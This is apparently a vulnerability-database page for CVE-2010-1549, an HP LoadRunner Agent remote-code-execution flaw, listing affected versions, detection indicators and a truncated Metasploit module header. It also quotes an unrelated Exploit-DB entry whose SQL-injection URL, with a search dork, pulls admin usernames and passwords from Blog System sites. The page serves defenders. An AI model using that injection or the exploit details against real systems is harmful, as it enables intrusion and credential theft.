CVE-2010-1549
published 2010-05-07CVE-2010-1549: Unspecified vulnerability in the Agent in HP LoadRunner before 9.50 and HP Performance Center before 9.50 allows remote attackers to execute arbitrary code via…
PriorityP273critical10CVSS 2.0
AVNACLAuNCCICAC
EXPLOIT
EPSS
78.83%
99.5th percentile
Unspecified vulnerability in the Agent in HP LoadRunner before 9.50 and HP Performance Center before 9.50 allows remote attackers to execute arbitrary code via unknown vectors.
Affected
13 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| hp | loadrunner | <= 9.10 | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | loadrunner | — | — |
| hp | performance_center | <= 9.0 | — |
Detection & IOCsextracted from sources · hover to see the quote
- →Monitor for inbound TCP connections to port 54345 (default HP LoadRunner Agent port); unexpected traffic to this port may indicate exploitation attempts against CVE-2010-1549. ↗
- →Detect exploit packets by inspecting for the crafted multi-packet structure: first 4-byte big-endian length prefix followed by opcode 0x19, then subsequent packets with opcodes 0x6, 0x1c, 0x18, and 0x437 on port 54345. ↗
- →Alert on magentproc.exe spawning cmd.exe with '/C' arguments, which is the execution chain triggered by this exploit. ↗
- →The vulnerability is only exploitable when the Secure Channel (SSL) feature is disabled, which is the default configuration. Audit LoadRunner/Performance Center deployments for this setting. ↗
- →HP LoadRunner 12.53 and other versions beyond 9.50 may also be vulnerable if the non-default SSL option is turned off; scope detection rules broadly across all LoadRunner versions. ↗
- ·The exploit targets Windows (x86/x64) via a dropper payload; Linux support is noted as possible but unconfirmed, so detection should prioritize Windows hosts running the agent. ↗
- ·Bad characters in the payload are \x0d, \x0a, and \x00 (CR, LF, NULL); detection signatures should account for the absence of these bytes in the exploit stream. ↗
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
HP Mercury LoadRunner Agent magentproc.exe - Remote Command Execution (Metasploit)
exploitdb·2018-01-01
CVE-2010-1549 HP Mercury LoadRunner Agent magentproc.exe - Remote Command Execution (Metasploit)
HP Mercury LoadRunner Agent magentproc.exe - Remote Command Execution (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution",
'Description' => %q{
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50
and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are
also most likely vulneable if the (non-default) SSL option is turned off.
By sending a specially crafted packet, an attacker can execute commands remotely.
The service is vulnerable provided the Secure Channel feature is disabled (default).
},
'License' => MSF_LICENSE,
'Author' =
Exploit-DB
Blog System 1.x - 'note' SQL Injection
exploitdb·2010-01-21
CVE-2010-0458 Blog System 1.x - 'note' SQL Injection
Blog System 1.x - 'note' SQL Injection
---
[#] Script : Blog System
[#] Version : 1.x
[#] Link : http://netartmedia.net/blogsystem/
[#] Dork : "powered by Blog System"
[#] Table : websiteadmin_admin_users
[#] Columns : id,username,password,type
[#] Exploit : /blog.php?user=[real-user]¬e=-1549+union+all+select+1,2,3,concat_ws(0x3a,id,username,password,type),5,6,7,8,9+from+websiteadmin_admin_users--
[#] CP : /BO
[#] Regards : ('Dr.2' , 'd3hydr8' , 'jonathan59' , 'inkubus' , 'Tundergun' , 'VMw4r3' , 'TinKode' , 'darkc0de's members')
[#] Note : replace [real-user] with a user exists in the blog ,, otherwise it will not work.
Metasploit
HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution
metasploit
HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution
HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution
This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50 and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are also most likely vulneable if the (non-default) SSL option is turned off. By sending a specially crafted packet, an attacker can execute commands remotely. The service is vulnerable provided the Secure Channel feature is disabled (default).
No writeups or analysis indexed.
2010-05-07
Published